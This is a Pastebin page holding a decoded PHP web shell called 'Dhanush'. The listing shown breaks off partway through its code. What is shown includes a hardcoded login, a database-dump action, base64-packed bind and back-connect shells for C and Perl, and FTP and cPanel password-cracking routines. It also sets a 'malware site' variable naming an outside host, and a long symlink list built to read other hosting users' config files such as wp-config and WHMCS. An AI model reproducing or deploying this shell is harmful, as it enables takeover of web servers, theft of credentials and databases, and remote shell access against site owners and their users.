bi0s_gh0s7

Danush_shell_decoded_by_bi0s_gh0s7

Oct 24th, 2018
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 213.27 KB | None | 0 0
  1. <?php
  2. //========================================//
  3. //========+++Dhanush+++==========//
  4. //========================================//
  5. //====+++Coded By Arjun+++===//
  6. //========================================//
  7. //=====+++An Indian Hacker+++=====//
  8. //========================================//
  9. //===========++Decoded by bi0s_gh0s7++========//
  10.  
  11. // Set Username & Password
  12. $user = "Dhanush";
  13. $pass = "Dhanush";
  14.  
  15. $malsite = "http://fightagent.ru";  // Malware Site
  16.  
  17. $ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // Base64 encoded "You Just Got Hacked !!"
  18. ?>
  19. <?php
  20. @set_magic_quotes_runtime(0);
  21. ob_start();
  22. error_reporting(0);
  23. @set_time_limit(0);
  24. @ini_set('max_execution_time',0);
  25. @ini_set('output_buffering',0);
  26.  
  27. // Dump Database
  28.  
  29. if($_GET["action"] == "dumpDB")
  30. {
  31.     $self=$_SERVER["PHP_SELF"];
  32.     if(isset($_COOKIE['dbserver']))
  33.     {
  34.         $date = date("Y-m-d");
  35.         $dbserver = $_COOKIE["dbserver"];
  36.         $dbuser = $_COOKIE["dbuser"];
  37.         $dbpass = $_COOKIE["dbpass"];
  38.         $dbname = $_GET['dbname'];
  39.         $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  40.        
  41.         $file = "Dump-$dbname-$date";
  42.        
  43.         $file="Dump-$dbname-$date.sql";
  44.         $fp = fopen($file,"w");
  45.        
  46.         function write($data)
  47.         {
  48.             global $fp;
  49.            
  50.                 fwrite($fp,$data);
  51.            
  52.         }
  53.         mysql_connect ($dbserver, $dbuser, $dbpass);
  54.         mysql_select_db($dbname);
  55.         $tables = mysql_query ("SHOW TABLES");
  56.         while ($i = mysql_fetch_array($tables))
  57.         {
  58.             $i = $i['Tables_in_'.$dbname];
  59.             $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  60.             write($create['Create Table'].";\n\n");
  61.             $sql = mysql_query ("SELECT * FROM ".$i);
  62.             if (mysql_num_rows($sql))
  63.             {
  64.                 while ($row = mysql_fetch_row($sql))
  65.                 {
  66.                     foreach ($row as $j => $k)
  67.                     {
  68.                         $row[$j] = "'".mysql_escape_string($k)."'";
  69.                     }
  70.                     write("INSERT INTO $i VALUES(".implode(",", $row).");");
  71.                 }
  72.             }
  73.         }
  74.        
  75.         fclose ($fp);
  76.        
  77.         header("Content-Disposition: attachment; filename=" . $file);  
  78.         header("Content-Type: application/download");
  79.         header("Content-Length: " . filesize($file));
  80.         flush();
  81.        
  82.         $fp = fopen($file, "r");
  83.         while (!feof($fp))
  84.         {
  85.             echo fread($fp, 65536);
  86.             flush();
  87.         }
  88.         fclose($fp);
  89.     }
  90. }
  91.  
  92. ?>
  93.  
  94. <style type="text/css">
  95. <!--
  96. span.headtitle
  97. {
  98.     color:#000000;
  99.     text-decoration:none;
  100.    
  101. }
  102. div.logindiv
  103. {
  104. background-color:#CCC;
  105. width:50%;
  106. border-radius:7px;
  107. margin-top:150px;
  108. -moz-border-radius:25px;
  109. height:410px;
  110. border: solid 1px
  111. #878787;
  112. border-radius: 13px;
  113. box-shadow: 0px 0px 10px
  114. black;
  115. }
  116. body,td,th {
  117.     color: #000000;
  118.     font-size: 14px;
  119. }
  120. table.pwdtbl
  121. {
  122.     width:95%;
  123.     background-color:#999999;
  124.     -moz-border-radius:25px;
  125.     border-radius:25px;
  126. }
  127. tr.file:hover
  128. {
  129. background-color:#C0C0C0;
  130. }
  131. tr.file
  132. {
  133.     background-color:#999999;
  134.     height:12px;
  135. }
  136. td.myfun
  137. {
  138.   display: inline;
  139.   padding: 1px;
  140.   margin: 5px;
  141.   border: 1px solid #AAA;
  142.   border-radius: 4px;
  143.   -moz-border-radius:4px;
  144.   box-shadow: 0px 0px 2px #000;
  145. }
  146. td.myfun:hover
  147. {
  148.   box-shadow: 0px 0px 2px #FF0;
  149. }
  150. input.but {
  151.     border: 1px solid #787878;
  152.     border-radius: 5px;
  153.     box-shadow: 0px 0px 2px #000 inset;
  154. }
  155. a:link {
  156.     color: #000000;
  157.     text-decoration:none;
  158.     font-weight:600;
  159. }
  160. a:hover {
  161.     color:#666666;
  162.     text-decoration:underline;
  163. }
  164. font.txt
  165. {
  166.     color: #000000;
  167.     text-decoration:none;
  168.     font-size:12px;
  169. }
  170. font.fun
  171. {
  172.     color: #696969;
  173. }
  174. font.wrtperm
  175. {
  176.     color:#000000;
  177. }
  178. font.readperm
  179. {
  180.     color:#000000;
  181. }
  182. font.noperm
  183. {
  184.     color:#000000;
  185. }
  186. input.upld
  187. {
  188.     border: 1px solid #787878;
  189.     box-shadow: 0px 0px 3px #000 inset;
  190.     background-color: #AAA;
  191.     font-family: Courier;
  192.     -moz-border-radius:6px;
  193.     width:400;
  194.     border-radius:6px;
  195. }
  196. input.box
  197. {
  198.     border: 1px solid #787878;
  199.     box-shadow: 0px 0px 3px #000 inset;
  200.     background-color: #AAA;
  201.     font-family: Courier;
  202.     -moz-border-radius:6px;
  203.     width:400;
  204.     border-radius:6px;
  205. }
  206. input.sbox
  207. {
  208.     border: 1px solid #787878;
  209.     box-shadow: 0px 0px 3px #000 inset;
  210.     background-color: #AAA;
  211.     font-family: Courier;
  212.     -moz-border-radius:6px;
  213.     width:180;
  214.     border-radius:6px;
  215. }
  216. select.sbox
  217. {
  218.     border: 1px solid #787878;
  219.     box-shadow: 0px 0px 3px #000 inset;
  220.     background-color: #AAA;
  221.     font-family: Courier;
  222.     -moz-border-radius:6px;
  223.     width:180;
  224.     border-radius:6px;
  225. }
  226. select.box
  227. {
  228.     border: 1px solid #787878;
  229.     box-shadow: 0px 0px 3px #000 inset;
  230.     background-color: #AAA;
  231.     font-family: Courier;
  232.     -moz-border-radius:6px;
  233.     width:400;
  234.     border-radius:6px;
  235. }
  236.  
  237. textarea.box
  238. {
  239.     border: 1px solid #787878;
  240.     margin-top: 10px;
  241.     -moz-border-radius:7px;
  242.     box-shadow: 0px 0px 3px #000 inset;
  243.     background-color: #AAA;
  244. }
  245. textarea:focus
  246. {
  247.   box-shadow: 0px 0px 3px #FF0 inset;
  248. }
  249. body {
  250.     background-color:#C0C0C0;
  251. }
  252. .myphp table
  253. {
  254.     width:100%;
  255.     padding:18px 10px;
  256.     border : 1px solid #1B1B1B;
  257. }
  258. .myphp td
  259. {
  260.     /*background:#111111; */
  261.     color:#000000;
  262.     padding:6px 8px;
  263.     border-bottom:1px solid #222222;
  264.     font-size:14px;
  265. }
  266. .myphp th, th
  267. {
  268.     background:#999999;
  269.    
  270. }
  271. -->
  272. </style>
  273.  
  274. <?php
  275. $back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
  276.  
  277. $backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
  278.  
  279. $zone="vVRtb9owEP6OxH+4ZhFKWkJg6roqEFS0VStaX1ChmybKB8c5wGpiZ7ZZS6vut8+Gjm5V1r18mPLBuedenrvznV9shQslw4TxsECZVSvVCpt6Wwe983cfxq2Jf1etFJJxDc6lNh+/5E77JyhHUFTq5e6c0CsYH0xgSeZCwDgVegJU5FDidCSuYSTgQmEElhZuBcdGkUFnyDRCxpTuQudCwlucEooSTkmO3e+B8IZpc9xXKy6RnyGGdbbNiQHdmVwUYoO1LEbnIi9grTGiKJB7pO50rLfjG+RAWdYYOqRrzTOh0CNW4SYGVZRkRHorIwtOhfRcEjfbLunEbmKOnR2/Wrl7oLFmY5dYYtPJjQjxVwg/iQVQwkGhLZJfKUjQhEOQWGRLH+5ALRKl5aNbHZp1eO1D7DhtuN80cbwzgYFQ2mTGU/ZIum7QQiH0z6JoKOgV6ijqnx6ObDXKyKagp6qgy/HaGyDKXppKiLvgPJ+oUwdrPRBSW+t9k+JACi1WrpoWjg9CAscbvbn2NbczOBuOIORCs+kyzIlS8BumpwF6lGKhI9gOty/lj3P1oD/HKUqU0b/FDY4Jny3IzI6lDhJZSvFGcI1cB6NlYexIUWSMEs0ED2+Cv2Q1oThS6xvBe8Qi6GXsC5ayml2RQW9miCM4Ebcsy0i422iCZ1asMPRJhm04GfYPYa/RbMNHxlNxreB0BK8aLb805JEZoD9plJshn+l5vD48J10vZbzeqFoqcsJ4K34+0GZEa/ahyEWKcWu/JpEoweO9mpn7nOl4iDxd5er/quvHqyQieEiqtLCBJLOcRMBFQAmdlze0FPwfpW2emBWnLVRl5u69l/b3/hs=";
  280.  
  281. $bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
  282.  
  283. $bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
  284.  
  285. if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
  286. {
  287. ?>
  288. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  289. <title>Dhanush : By Arjun</title>
  290. <script type="text/javascript">
  291. checked = false;
  292. function checkedAll ()
  293. {
  294.     if (checked == false){checked = true}else{checked = false}
  295.     for (var i = 0; i < document.getElementById('myform').elements.length; i++)
  296.     {
  297.       document.getElementById('myform').elements[i].checked = checked;
  298.     }
  299. }
  300. </script>
  301.  
  302. <body>
  303. <?php
  304.    
  305.    
  306.     $self=$_SERVER["PHP_SELF"];
  307.     $os = "N/D";
  308.     if(stristr(php_uname(),"Windows"))
  309.     {
  310.             $SEPARATOR = '\\';
  311.             $os = "Windows";
  312.             $directorysperator="\\";
  313.            
  314.     }
  315.     else if(stristr(php_uname(),"Linux"))
  316.     {
  317.             $os = "Linux";
  318.             $directorysperator='/';
  319.            
  320.     }
  321.     function Trail($d,$directsperator)
  322.     {
  323.         $d=explode($directsperator,$d);
  324.         array_pop($d);
  325.         array_pop($d);
  326.         $str=implode($d,$directsperator);
  327.         return $str;
  328.     }
  329.    
  330.     function ftp_check($host,$user,$pass,$timeout)
  331.     {
  332.      $ch = curl_init();
  333.      curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  334.      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  335.      curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  336.      curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  337.      curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  338.      curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  339.      curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  340.      $data = curl_exec($ch);
  341.      if ( curl_errno($ch) == 28 )
  342.      {
  343.      print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  344.      <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  345.      Please Check The Target Hostname .</font></font></b></p>";exit;
  346.      }
  347.      else if ( curl_errno($ch) == 0 )
  348.      {
  349.       print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 9pt\"><b><font color=\"#008000\">
  350.      Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  351.      and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  352.      }
  353.      curl_close($ch);
  354.     }
  355.    
  356.     function cpanel_check($host,$user,$pass,$timeout)
  357.     {
  358.      global $cpanel_port;
  359.      $ch = curl_init();
  360.      //echo "http://$host:".$cpanel_port."<br>";
  361.      curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
  362.      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  363.      curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  364.      curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  365.      curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  366.      curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  367.      $data = curl_exec($ch);
  368.      if ( curl_errno($ch) == 28 )
  369.      { print "<b><font face=\"Verdana\" style=\"font-size: 9pt\">
  370.       <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  371.       Please Check The Target Hostname .</font></font></b></p>";exit;}
  372.       else if ( curl_errno($ch) == 0 ){
  373.       print "<b><font face=\"Tahoma\" style=\"font-size: 9pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 9pt\"><b><font color=\"#008000\">
  374.      Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  375.     and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  376.      }
  377.      curl_close($ch);
  378.     }
  379.    
  380.     function syml($usern,$pdomain)
  381.     {
  382.         symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  383.         symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  384.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  385.         symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  386.         symlink('/home/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  387.         symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  388.         symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  389.         symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  390.         symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  391.         symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  392.         symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  393.         symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  394.         symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  395.         symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  396.         symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  397.         symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  398.         symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  399.         symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  400.         symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  401.         symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  402.         symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  403.         symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  404.         symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  405.         symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  406.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  407.         symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  408.         symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  409.         symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  410.         symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  411.         symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  412.         symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  413.         symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  414.         symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  415.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  416.         symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  417.         symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  418.         symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  419.         symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  420.         symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  421.         symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  422.         symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  423.         symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  424.         symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  425.         symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  426.         symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  427.         symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  428.         symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  429.         symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  430.         symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  431.         symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  432.         symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  433.         symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  434.         symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  435.         symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  436.         symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  437.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  438.         symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  439.         symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  440.         symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  441.         symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  442.         symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  443.         symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  444.         symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  445.         symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  446.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  447.         symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  448.         symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  449.         symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  450.         symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  451.         symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  452.         symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  453.         symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  454.         symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  455.         symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  456.         symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  457.         symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  458.         symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  459.         symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  460.         symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  461.         symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  462.         symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  463.         symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  464.         symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  465.         symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  466.         symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  467.         symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  468.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  469.         symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  470.         symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  471.         symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  472.         symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  473.         symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  474.         symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  475.         symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  476.         symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  477.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  478.         symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  479.         symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~mybb.txt');
  480.         symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  481.         symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  482.         symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  483.         symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  484.         symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  485.         symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  486.         symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  487.         symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  488.         symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  489.         symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  490.         symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  491.         symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  492.         symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  493.         symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  494.         symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  495.         symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  496.         symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  497.         symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  498.         symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  499.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  500.         symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  501.         symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  502.         symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  503.         symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  504.         symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  505.         symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  506.         symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  507.         symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  508.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  509.         symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  510.         symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  511.         symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  512.         symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  513.         symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  514.         symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  515.         symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  516.         symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  517.         symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
